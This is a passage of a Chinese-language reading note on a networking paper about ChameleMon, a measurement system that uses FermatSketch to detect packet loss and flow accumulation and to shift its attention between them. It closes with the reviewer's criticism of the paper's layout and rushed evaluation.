前人工作的局限性在于：要么只能完成两种任务之一，受限于其数据结构无法拓展完成另一种任务；要么能同时完成两种任务，但无法充分利用资源，导致至少线性级别的内存 / 带宽开销。

### 解决方案

该论文经研究总结，提出一个实用的测量系统需要满足以下三个要求：

1. 通用性：同时支持丢包测量任务和包累积测量任务；&#x20;
2. 效率：以亚线性空间复杂度实现高精度；&#x20;
3. 注意力转换：在不同网络状态下关注不同类型的任务。

该论文提出了一种新型的测量系统——**ChameleMon**，该系统能同时满足以上三个要求，突破了现有工作的瓶颈。

ChameleMon 的关键设计是通过动态的两个维度，实现随着网络状态的变化而转移测量注意力：1）在两种任务之间动态分配内存； 2）动态监控重要流量。为了实现关键设计，该论文提出了一项技术：利用费马小定理设计灵活的数据结构——**FermatSketch**。 FermatSketch 具有可除性、加法性和减法性，支持以上两种测量任务。 ChameleMon 的 workflow 如下：

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F3qzvSHuaVcbO8Hb6OF4h%2Fimage.png?alt=media&amp;token=f56f58af-5dee-479b-98ac-e44800c08105" alt=""><figcaption></figcaption></figure>

#### Step 1: Capture flow-level statistics

对于一个 flow，通过 Classifier 将其分为四类（分类依据：flow size）：

* Heavy-hitter(HH)
* heavy-losses(HLs)
* light-losses(LLs) - according to sample rate divied into two classes
  * sampled LL candidate
  * non-sampled

UpStream 统计进入网络的 flow，DownStream 统计离开网络的 flow。

#### Step 2: Collect from edge

中央控制器定期从边缘交换机收集 sketches 以支持持续测量。 为避免与 flow 插入发生冲突，收集 sketches 时，每个边缘交换机都会将时间线划分成连续的固定长度时间间隔（称为 epoch），以及复制一组 sketches 作为备份。&#x20;

#### Step 3: Perform analysis

每个 epoch，中央控制器对收集的 sketches 进行分析（共支持七项测量任务）。 通过分析上下游的编码器，中央控制器可以支持丢包检测。 通过分析流分类器和上游 HH 编码器，中央控制器可以支持 HH 检测和其他五个数据包累积任务。

#### Step 4: Shift attention

每个 epoch，中央控制器通过分析收集到的 sketches 来监控实时网络状态（若能监控所有的 victim flow，则为 healthy 状态，反之为 ill 状态），在运行时重新配置边缘交换机的数据平面。通过调整内存分配，来控制两种任务的占比；通过调整 Tl 和 Th 这两个阈值，动态选择最重要的流。

实验结果能够证明 ChameleMon 达到了其所描述的效果：

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F6xdhqjkLGQ5EqOfaI9SU%2Fimage.png?alt=media&amp;token=4c68f801-f7dc-4e46-ae8c-8c15c3f7d3b3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FP4JDFx6skGpDv2LEF2Qk%2Fimage.png?alt=media&amp;token=61ac34bd-9280-46db-abe3-2740eef3da32" alt=""><figcaption></figcaption></figure>

美中不足的是，该论文在整体排版上不够美观，page5-8 没有任何图表，EVALUATION 部分草草收尾，附录部分又占比过大，不免令读者怀疑作者是否存在写作仓促的情况。


